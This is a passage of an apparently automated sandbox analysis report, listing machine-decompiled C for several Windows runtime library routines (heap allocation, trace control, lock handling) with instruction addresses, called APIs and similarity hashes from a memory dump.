								_t251 = E6D283D43(_t316, _t322, _t157, _v560, _v572, _t306);
								_pop(_t320);
								_pop(_t327);
								_pop(_t257);
								return E6D28B640(_t251, _t257, _v24 ^ _t330, _t322, _t320, _t327);
							}
						}
					} else {
						L2:
						_t260 = _v572;
						goto L3;
					}
				}
				L101:
			}

0x6d264128
0x6d264135
0x6d26413c
0x6d264141
0x6d264145
0x6d264147
0x6d26414e
0x6d264151
0x6d264159
0x6d26415c
0x6d264160
0x6d264164
0x6d264168
0x6d26416c
0x6d26417f
0x6d264181
0x6d26446a
0x6d26446a
0x6d26418c
0x6d264195
0x6d264199
0x6d264432
0x6d264439
0x6d26443d
0x6d264442
0x6d264447
0x00000000
0x6d26419f
0x6d2641a3
0x6d2641b9
0x6d2641bd
0x6d2645db
0x6d2645db
0x00000000
0x6d2641c3
0x6d2641c3
0x6d2641ce
0x6d2641d4
0x6d2ae138
0x6d2ae13e
0x6d2ae169
0x6d2ae16d
0x6d2ae19e
0x6d2ae16f
0x6d2ae175
0x6d2ae179
0x6d2ae18f
0x6d2ae193
0x00000000
0x6d2ae199
0x00000000
0x6d2ae199
0x6d2ae193
0x00000000
0x00000000
0x00000000
0x6d2641da
0x6d2641da
0x6d2641df
0x6d2641e4
0x6d2641ec
0x6d264203
0x6d264207
0x6d2ae1fd
0x6d264222
0x6d264226
0x6d2ae1f3
0x6d2ae1f3
0x6d26422c
0x6d26422c
0x6d264233
0x6d2ae1ed
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6d264239
0x6d264239
0x6d264239
0x6d264239
0x6d264233
0x6d264226
0x6d2641ee
0x6d2641ee
0x6d2641f4
0x6d264575
0x6d2ae1b1
0x6d2ae1b1
0x00000000
0x6d26457b
0x6d26457b
0x6d264582
0x6d2ae1ab
0x00000000
0x00000000
0x00000000
0x00000000
0x6d264588
0x6d264588
0x6d26458c
0x6d2ae1c4
0x6d2ae1c4
0x00000000
0x6d264592
0x6d264592
0x6d264599
0x6d2ae1be
0x00000000
0x00000000
0x00000000
0x00000000
0x6d26459f
0x6d26459f
0x6d2645a3
0x6d2ae1d7
0x6d2ae1e4
0x00000000
0x6d2645a9
0x6d2645a9
0x6d2645b0
0x6d2ae1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2645b6
0x6d2645b6
0x6d2645b6
0x00000000
0x6d2645b6
0x6d2645b0
0x6d2645a3
0x6d264599
0x6d26458c
0x6d264582
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2641f4
0x6d26423e
0x6d264241
0x6d2645c0
0x6d2645c4
0x00000000
0x6d2645ca
0x6d2645ca
0x00000000
0x6d2ae207
0x6d2ae20f
0x00000000
0x00000000
0x00000000
0x00000000
0x6d2645d1
0x00000000
0x00000000
0x6d2645ca
0x00000000
0x6d264247
0x6d264247
0x6d264247
0x6d264249
0x6d264249
0x6d264249
0x6d264251
0x6d264251
0x6d264257
0x6d26425f
0x6d26426e
0x6d264270
0x6d26427a
0x6d2ae219
0x6d2ae219
0x6d264280
0x6d264282
0x6d264456
0x6d2645ea
0x00000000
0x6d2645f0
0x6d2ae223
0x00000000
0x6d2ae223
0x6d26445c
0x6d26445c
0x00000000
0x6d26445c
0x00000000
0x6d264288
0x6d26428c
0x6d2ae298
0x6d264292
0x6d264292
0x6d26429e
0x6d2642a3
0x6d2642a7
0x6d2642ac
0x6d2ae22d
0x6d2642b2
0x6d2642b2
0x6d2642b9
0x6d2642bc
0x6d2642c2
0x6d2642ca
0x6d2642cd
0x6d2642cd
0x6d2642d4
0x6d26433f
0x6d26433f
0x6d2642d6
0x6d2642d6
0x6d2642d9
0x6d2642dd
0x6d2642eb
0x6d2ae23a
0x6d2642f1
0x6d2642fe
0x6d264305
0x6d26430d
0x6d264315
0x6d264318
0x6d26431f
0x6d264322
0x6d26432e
0x6d26433b
0x6d26433b
0x00000000
0x6d26432e
0x6d2642eb
0x6d26434c
0x6d26434e
0x6d264352
0x6d264359
0x6d26435e
0x6d264361
0x6d26436e
0x6d26437d
0x6d26438a
0x6d26438e
0x6d264396
0x6d26439e
0x6d2643a1
0x6d2643ad
0x6d2643bb
0x6d2643bb
0x6d2643ad
0x6d26436e
0x6d2643bf
0x6d2643c5
0x6d264463
0x6d264463
0x6d2643ce
0x6d2643d5
0x6d2643d9
0x6d2643df
0x6d264475
0x6d264479
0x6d264491
0x6d264491
0x6d264479
0x6d2643e5
0x6d2643eb
0x6d2643f4
0x6d2643f6
0x6d2643f9
0x6d2643fc
0x6d2643ff
0x6d2644e8
0x6d2644ed
0x6d2644f3
0x6d2ae247
0x00000000
0x6d2644f9
0x6d2644ff
0x6d264504
0x6d264508
0x6d26450f
0x6d2ae269
0x00000000
0x6d264515
0x6d264519
0x6d264531
0x6d264534
0x6d264537
0x6d26453e
0x6d264541
0x6d26454a
0x6d2ae255
0x6d2ae255
0x6d2ae25b
0x6d2ae25e
0x6d2ae261
0x6d2ae261
0x6d264555
0x6d264559
0x6d26455d
0x6d2ae26d
0x6d2ae270
0x6d2ae274
0x6d2ae27a
0x6d2ae27d
0x6d2ae28e
0x6d2ae28e
0x6d264563
0x6d264563
0x6d264569
0x6d264569
0x00000000
0x6d26455d
0x6d26450f
0x00000000
0x6d2644f3
0x6d2643ff
0x6d264405
0x6d264405
0x6d264405
0x6d2642ac
0x6d26428c
0x6d264282
0x6d264407
0x6d26440d
0x6d2ae2af
0x6d2ae2af
0x6d264413
0x6d264413
0x00000000
0x6d2641d4
0x00000000
0x6d2641c3
0x6d2641bd
0x6d264415
0x6d264415
0x6d264416
0x6d264417
0x6d264429
0x6d26416e
0x6d26416e
0x6d264175
0x6d264498
0x6d26449f
0x6d2ae12d
0x00000000
0x6d2ae133
0x00000000
0x6d2ae133
0x6d2644a5
0x6d2644a5
0x6d2644aa
0x00000000
0x6d2644bb
0x6d2644ca
0x6d2644d6
0x6d2644d7
0x6d2644d8
0x6d2644e3
0x6d2644e3
0x6d2644aa
0x6d26417b
0x6d26417b
0x6d26417b
0x00000000
0x6d26417b
0x6d264175
0x00000000

APIs

RtlAllocateHeap.1105(?,00000000,?,?,00000000,?,?), ref: 6D26429E
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6D26430D
memmove.1105(?,?,?,?,00000000,?,?,00000000,?,?), ref: 6D26438E

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: memmove$AllocateHeap
String ID:
API String ID: 1771830547-0
Opcode ID: b94c45a29c5f62e94299c44887617a45450fad3701a705a75d82331ee7e5477b
Instruction ID: 103fa2992f710e55b558dd35a34860e2eda105005753283c4694db2d6051791d
Opcode Fuzzy Hash: b94c45a29c5f62e94299c44887617a45450fad3701a705a75d82331ee7e5477b
Instruction Fuzzy Hash: 78F17B7069C39A8BC715CF58C490A2AB7E1FF89705F15892EF4D5CB290E734D892CB62

Uniqueness

Uniqueness Score: -1.00%

Function 6D274D3B, Relevance: 13.6, APIs: 9, Instructions: 131
nativeCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E6D274D3B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				void _v176;
				char _v177;
				long _v184;
				intOrPtr _v192;
				intOrPtr _v196;
				void* __ebx;
				void* __edi;
				void* __esi;
				long _t42;
				void* _t44;
				long _t46;
				intOrPtr _t50;
				long _t56;
				void* _t57;
				int _t59;
				intOrPtr _t67;
				signed int _t69;

				_t64 = __edx;
				_v12 =  *0x6d33d360 ^ _t69;
				_t65 = 0xa0;
				_v196 = __edx;
				_v177 = 0;
				_t67 = __ecx;
				_v192 = __ecx;
				memset( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x6d337bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E6D28B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
						}
						_v177 = 1;
						_t44 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = RtlNtStatusToDosError(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E6D28B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E6D28F380(_t67 + 0xc, 0x6d225138, 0x10) == 0) {
								 *0x6d3360d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E6D274F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				_t56 = E6D274E70(0x6d3386b0, 0x6d275690, 0, 0);
				if(_t56 != 0) {
					_t46 = RtlNtStatusToDosError(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x6d274d3b
0x6d274d4d
0x6d274d53
0x6d274d58
0x6d274d65
0x6d274d6c
0x6d274d71
0x6d274d77
0x6d274d7f
0x6d274d8c
0x6d274d8e
0x6d274dad
0x6d274db0
0x6d274db7
0x6d274db8
0x6d274db9
0x6d274dba
0x6d274dbb
0x6d274dc1
0x6d274dc8
0x6d274dcc
0x6d274dd5
0x6d274dde
0x6d274ddf
0x6d274de0
0x6d274de1
0x6d274de6
0x6d274de7
0x6d274de9
0x6d274df3
0x00000000
0x00000000
0x6d2b6c7c
0x6d2b6c8a
0x6d2b6c8a
0x6d2b6c9d
0x6d2b6ca7
0x6d2b6cac
0x6d2b6cb2
0x6d2b6cb9
0x00000000
0x6d2b6cbf
0x6d2b6cbf
0x00000000
0x6d2b6cbf
0x6d2b6cb9
0x6d274dfb
0x6d2b6ccf
0x6d2b6cd3
0x6d274e32
0x6d274e39
0x6d2b6ce0
0x6d2b6cf2
0x6d2b6cf2
0x6d2b6ce0
0x6d274e3f
0x6d274e41
0x6d274e51
0x6d274e51
0x6d274e03
0x6d274e03
0x6d274e09
0x6d274e0f
0x6d274e57
0x00000000
0x00000000
0x6d274e1b
0x6d274e30
0x6d274e5b
0x6d274e5b
0x00000000
0x6d274e30
0x6d274e11
0x6d274e11
0x6d274e16
0x00000000
0x6d274e16
0x6d274e01
0x00000000
0x6d274e01
0x6d274d9e
0x6d274da5
0x6d2b6c6b
0x00000000
0x6d274dab
0x6d274dab
0x00000000
0x6d274dab

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6D274D77
RtlRunOnceExecuteOnce.1105(6D3386B0,6D275690,00000000,00000000,00000000,00000000,00000024), ref: 6D274D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6D274DE9
memcmp.1105(00000000,6D225138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6D274E26
RtlNtStatusToDosError.1105(00000000,6D3386B0,6D275690,00000000,00000000,00000000,00000000,00000024), ref: 6D2B6C6B

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: 604b5fa408f6f2f4d570e0b1ed6eec7aa2a439a530517fcdf0f7ef2b17de70e4
Instruction ID: 2849ab7a07c73ebb25c464e0bf14d98eedbbb20ecf52c2a3ae5fa95ddf70e8c6
Opcode Fuzzy Hash: 604b5fa408f6f2f4d570e0b1ed6eec7aa2a439a530517fcdf0f7ef2b17de70e4
Instruction Fuzzy Hash: 1541D271A8431DAFEB32CF14CC80F6AB7B9EB49724F0140A9E9559B281D7B0DD45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6D26C182, Relevance: 13.6, APIs: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6D26C182(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				char* _t43;
				void* _t48;
				signed char _t62;
				void* _t63;
				void* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E6D267D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E6D318D34(_v8, _t80);
					}
					E6D262280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E6D25FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t83 = _t80 + 0xd0;
						E6D318833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E6D25FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E6D28B180();
						if(_a4 != 0) {
							E6D262280(_t48, _t81);
						}
					} else {
						E6D26BB2D(_v8 + 0xc, _t80 + 0x98);
						E6D26BB2D(_v8 + 8, _t80 + 0xb0);
						E6D26B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E6D25FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							E6D25FFB0(0, _t80, _t80 + 0x90);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					E6D25FFB0(0, __ecx, __ecx + 0x90);
				}
				return 0;
			}

0x6d26c18d
0x6d26c18f
0x6d26c191
0x6d26c19b
0x6d26c1a0
0x6d26c1d4
0x6d26c1de
0x6d2b2d6e
0x6d26c1e4
0x6d26c1e4
0x6d26c1e4
0x6d26c1ec
0x6d2b2d7d
0x6d2b2d7d
0x6d26c1f3
0x6d26c1ff
0x6d2b2d88
0x6d2b2d8d
0x6d2b2d94
0x6d2b2d9f
0x6d2b2da4
0x6d2b2dab
0x6d2b2db0
0x6d2b2db2
0x6d2b2db3
0x6d2b2db4
0x6d2b2dbc
0x6d2b2dc3
0x6d2b2dc3
0x6d26c205
0x6d26c211
0x6d26c222
0x6d26c22c
0x6d26c234
0x6d26c23a
0x6d26c23f
0x6d26c245
0x6d26c24b
0x6d26c251
0x6d26c25a
0x6d26c27d
0x6d26c27d
0x6d26c25c
0x6d26c25c
0x00000000
0x6d26c25e
0x6d26c1a4
0x6d26c1aa
0x6d26c1b3
0x6d26c26c
0x6d26c26c
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6D30C9F8,000000FE), ref: 6D26C27D

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: 1abcd36c07e6f7732f3e55429d05dafed56977abef2a5dab62212e8bca5bd915
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: 99312871A8978FBBDB05EBB4C490BEAFB54BF42208F04816AD51847241CB395999D7B0

Uniqueness

Uniqueness Score: -1.00%

Function 6D27DE9E, Relevance: 13.6, APIs: 9, Instructions: 79
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6D27DE9E(void* __ecx) {
				char _v0;
				char _v12;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v65;
				void* _v66;
				void* __ebx;
				void* __edi;
				void* _t81;
				signed int _t82;
				intOrPtr* _t92;
				signed int _t96;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				intOrPtr _t109;
				intOrPtr* _t110;
				signed int _t116;
				char _t121;
				void* _t128;
				signed int* _t130;
				signed int* _t135;
				signed int _t138;
				signed int _t140;
				void* _t145;
				unsigned int _t147;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t161;
				signed int* _t162;
				char _t163;
				signed int _t164;
				signed int _t169;
				signed int _t171;
				intOrPtr* _t173;
				signed int _t176;
				signed int _t177;
				intOrPtr* _t178;
				void* _t181;
				void* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				void* _t196;

				_t194 = _t193 & 0xfffffff8;
				_push(__ecx);
				_push(_t173);
				_t181 = __ecx;
				_t81 = E6D262280( *0x6d3384cc + 4,  *0x6d3384cc + 4);
				_t128 = _t181 + 0x28;
				_t82 = E6D262280(_t81, _t128);
				asm("lock xadd [esi+0x50], eax");
				if((_t82 | 0xffffffff) != 1) {
					E6D25FFB0(_t128, _t173, _t128);
					L8:
					return E6D25FFB0(_t128, _t173,  *0x6d3384cc + 4);
				} else {
					if(E6D267D50() != 0) {
						_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
					} else {
						_t92 = 0x7ffe038e;
					}
					_t173 = _t181 + 0x10;
					if( *_t92 != 0) {
						E6D2D2EA3(_t181,  *_t173,  *((intOrPtr*)(_t173 + 4)));
					}
					_push(_t173);
					E6D28B150();
					_t96 = _t181 + 0x1c;
					_t162 =  *_t96;
					if(_t162[1] != _t96) {
						L10:
						_t145 = 3;
						asm("int 0x29");
						_t191 = _t194;
						_push(_t145);
						_push(_t145);
						_push(_t128);
						_push(_t181);
						_push(_t173);
						_t130 = _t162;
						_t183 = _t145;
						asm("lock xadd [esi+0x2c], eax");
						if((_t96 | 0xffffffff) == 1) {
							_t146 =  *((intOrPtr*)(_t183 + 0x28));
							if( *((intOrPtr*)(_t183 + 0x28)) != 0) {
								E6D24A745(_t130, _t146, _t162, _t173);
							}
							_t100 = _t183 + 4;
							_t163 =  *_t100;
							if( *((intOrPtr*)(_t163 + 4)) != _t100) {
								L20:
								_t147 = 3;
								asm("int 0x29");
								_push(_t191);
								_t196 = (_t194 & 0xfffffff8) - 0x1c;
								_v56 = _v56 & 0x00000000;
								_push(_t130);
								 *((char*)(_t196 + 0xb)) = _t163;
								 *(_t196 + 0x18) = _t147;
								_push(_t183);
								_push(_t173);
								_t135 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + ((_t147 >> 0x00000005 & 0x0000007f) + 0x97) * 4;
								_t103 = 0;
								_t164 =  *_t135;
								_v48 = _t135;
								 *(_t196 + 0x12) = 0;
								if(_t164 != 0) {
									while((_t164 & 0x00000001) == 0) {
										_t103 = _t164;
										if((_t164 & 0x00000002) != 0) {
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												goto L54;
											}
										} else {
											_t186 = _t164 | 0x00000002;
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												L54:
												_t164 = _t103;
												if(_t103 != 0) {
													continue;
												} else {
												}
											} else {
												while(1) {
													L25:
													_t138 = _t186 & 0xfffffffc;
													 *(_t196 + 0x24) = _t138;
													_t176 = _t138;
													if( *((intOrPtr*)(_t138 + 0x10)) == 0) {
														goto L56;
													}
													L26:
													_t177 =  *((intOrPtr*)(_t176 + 0x10));
													 *((intOrPtr*)(_t138 + 0x10)) = _t177;
													while(_t177 != 0) {
														_t169 =  *((intOrPtr*)(_t177 + 0xc));
														_v52 = _t169;
														if( *_t177 !=  *((intOrPtr*)(_t196 + 0x20))) {
															L60:
															_t177 = _t169;
															continue;
														} else {
															_t152 =  *(_t177 + 8);
															if(_t177 != _t138) {
																 *(_t169 + 8) = _t152;
																_t153 =  *(_t177 + 8);
																_t109 =  *((intOrPtr*)(_t177 + 0xc));
																if(_t153 != 0) {
																	 *((intOrPtr*)(_t153 + 0xc)) = _t109;
																} else {
																	 *((intOrPtr*)(_t138 + 0x10)) = _t109;
																	 *((intOrPtr*)( *((intOrPtr*)(_t177 + 0xc)) + 0x10)) =  *((intOrPtr*)(_t177 + 0xc));
																}
																goto L34;
															} else {
																if(_t152 != 0) {
																	_t152 = _t152 ^ (_t152 ^ _t186) & 0x00000003;
																}
																_t116 = _t186;
																asm("lock cmpxchg [ebx], edx");
																_t138 =  *(_t196 + 0x24);
																if(_t116 != _t186) {
																	_t186 = _t116;
																	goto L25;
																} else {
																	_t171 =  *(_t177 + 8);
																	_t156 = _t152 & 0xffffff00 | _t152 == 0x00000000;
																	 *(_t196 + 0x12) = _t156;
																	if(_t171 != 0) {
																		 *(_t171 + 0xc) =  *(_t171 + 0xc) & 0x00000000;
																		 *((intOrPtr*)(_t171 + 0x10)) =  *((intOrPtr*)(_t177 + 0x10));
																		 *(_t196 + 0x12) = _t156;
																	}
																	_t169 = _v52;
																	L34:
																	_t154 = 2;
																	_t49 = _t177 + 0x14; // 0x14
																	_t110 = _t49;
																	_t155 =  *_t110;
																	 *_t110 = _t154;
																	if(_t155 == 2) {
																		goto L60;
																	} else {
																		if(_t155 == 0) {
																			 *(_t177 + 8) = _v56;
																			_v56 = _t177;
																		}
																		if( *((char*)(_t196 + 0x13)) != 0) {
																			goto L60;
																		}
																	}
																}
															}
														}
														break;
													}
													_t103 = _v56;
													if(_t103 != 0) {
														do {
															_push( *((intOrPtr*)(_t103 + 4)));
															_t188 =  *(_t103 + 8);
															E6D289BF0();
															_t103 = _t188;
														} while (_t188 != 0);
													}
													if( *(_t196 + 0x12) == 0) {
														_t151 =  *_v48;
														while(1) {
															_t140 = _t151 & 0x00000001;
															asm("sbb edx, edx");
															_t103 = _t151;
															asm("lock cmpxchg [esi], edx");
															if(_t103 == _t151) {
																break;
															}
															_t151 = _t103;
														}
														if(_t140 != 0) {
															_t103 = E6D2FCF30(_t103);
														}
													}
													goto L41;
													do {
														L56:
														_t104 = _t176;
														_t176 =  *(_t176 + 8);
														 *(_t176 + 0xc) = _t104;
													} while ( *((intOrPtr*)(_t176 + 0x10)) == 0);
													goto L26;
												}
											}
										}
										goto L41;
									}
								}
								L41:
								return _t103;
							} else {
								_t157 =  *((intOrPtr*)(_t100 + 4));
								if( *_t157 != _t100) {
									goto L20;
								} else {
									 *_t157 = _t163;
									 *((intOrPtr*)(_t163 + 4)) = _t157;
									_t178 =  *((intOrPtr*)(_t183 + 0x30));
									 *_t130 =  *(_t183 + 0x38);
									 *_v0 =  *((intOrPtr*)(_t183 + 0x3c));
									_t121 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t183);
									if(_t178 != 0) {
										 *_t178 = 1;
										_t121 =  &_v12;
										asm("lock or [eax], ecx");
										_push(0);
										L21();
									}
									goto L13;
								}
							}
						} else {
							_t121 = _v0;
							 *_t130 =  *_t130 & 0x00000000;
							 *_t121 =  *_t121 & 0x00000000;
							L13:
							return _t121;
						}
					} else {
						_t161 =  *(_t96 + 4);
						if( *_t161 != _t96) {
							goto L10;
						} else {
							 *_t161 = _t162;
							_t162[1] = _t161;
							E6D25FFB0(_t128, _t173, _t128);
							if( *(_t181 + 0x58) != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t181 + 0x58));
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t181);
							goto L8;
						}
					}
				}
			}

0x6d27dea3
0x6d27dea6
0x6d27deae
0x6d27deb2
0x6d27deb5
0x6d27deba
0x6d27debe
0x6d27dec6
0x6d27decc
0x6d27df40
0x6d27df2a
0x6d27df3e
0x6d27dece
0x6d27ded5
0x6d2bb445
0x6d27dedb
0x6d27dedb
0x6d27dedb
0x6d27dee2
0x6d27dee7
0x6d2bb456
0x6d2bb456
0x6d27deed
0x6d27deee
0x6d27def3
0x6d27def6
0x6d27defb
0x6d27df47
0x6d27df49
0x6d27df4a
0x6d27df4f
0x6d27df51
0x6d27df52
0x6d27df53
0x6d27df54
0x6d27df55
0x6d27df56
0x6d27df58
0x6d27df5d
0x6d27df63
0x6d27df77
0x6d27df7c
0x6d27dfd3
0x6d27dfd3
0x6d27df7e
0x6d27df81
0x6d27df86
0x6d27dfda
0x6d27dfdc
0x6d27dfdd
0x6d27dfe1
0x6d27dfe7
0x6d27dff0
0x6d27dff5
0x6d27dff8
0x6d27e005
0x6d27e00f
0x6d27e010
0x6d27e011
0x6d27e014
0x6d27e016
0x6d27e018
0x6d27e01c
0x6d27e022
0x6d27e028
0x6d27e031
0x6d27e036
0x6d2bb47d
0x6d2bb483
0x00000000
0x00000000
0x6d27e03c
0x6d27e03e
0x6d27e043
0x6d27e049
0x6d2bb489
0x6d2bb489
0x6d2bb48d
0x00000000
0x00000000
0x6d2bb493
0x00000000
0x6d27e04f
0x6d27e04f
0x6d27e051
0x6d27e054
0x6d27e058
0x6d27e05e
0x00000000
0x00000000
0x6d27e064
0x6d27e064
0x6d27e067
0x6d27e06a
0x6d27e076
0x6d27e079
0x6d27e07f
0x6d2bb4cc
0x6d2bb4cc
0x00000000
0x6d27e085
0x6d27e085
0x6d27e08a
0x6d27e11c
0x6d27e11f
0x6d27e122
0x6d27e127
0x6d27e164
0x6d27e129
0x6d27e129
0x6d27e12f
0x6d27e12f
0x00000000
0x6d27e090
0x6d27e092
0x6d2bb4b2
0x6d2bb4b2
0x6d27e09e
0x6d27e0a0
0x6d27e0a4
0x6d27e0aa
0x6d2bb4d3
0x00000000
0x6d27e0b0
0x6d27e0b0
0x6d27e0b5
0x6d27e0b8
0x6d27e0be
0x6d2bb4b9
0x6d2bb4c0
0x6d2bb4c3
0x6d2bb4c3
0x6d27e0c4
0x6d27e0c8
0x6d27e0ca
0x6d27e0cb
0x6d27e0cb
0x6d27e0ce
0x6d27e0ce
0x6d27e0d3
0x00000000
0x6d27e0d9
0x6d27e0db
0x6d27e0e1
0x6d27e0e4
0x6d27e0e4
0x6d27e0ed
0x00000000
0x00000000
0x6d27e0ed
0x6d27e0d3
0x6d27e0aa
0x6d27e08a
0x00000000
0x6d27e07f
0x6d27e0f3
0x6d27e0f9
0x6d27e0fb
0x6d27e0fb
0x6d27e0fe
0x6d27e101
0x6d27e106
0x6d27e108
0x6d27e0fb
0x6d27e111
0x6d27e138
0x6d27e13a
0x6d27e13e
0x6d27e148
0x6d27e14e
0x6d27e150
0x6d27e156
0x00000000
0x00000000
0x6d27e16c
0x6d27e16c
0x6d27e15a
0x6d27e15d
0x6d27e15d
0x6d27e15a
0x00000000
0x6d2bb498
0x6d2bb498
0x6d2bb498
0x6d2bb49a
0x6d2bb49d
0x6d2bb4a0
0x00000000
0x6d2bb4a6
0x6d27e04f
0x6d27e049
0x00000000
0x6d27e036
0x6d27e028
0x6d27e113
0x6d27e119
0x6d27df88
0x6d27df88
0x6d27df8d
0x00000000
0x6d27df8f
0x6d27df8f
0x6d27df91
0x6d27df97
0x6d27df9a
0x6d27dfa5
0x6d27dfb0
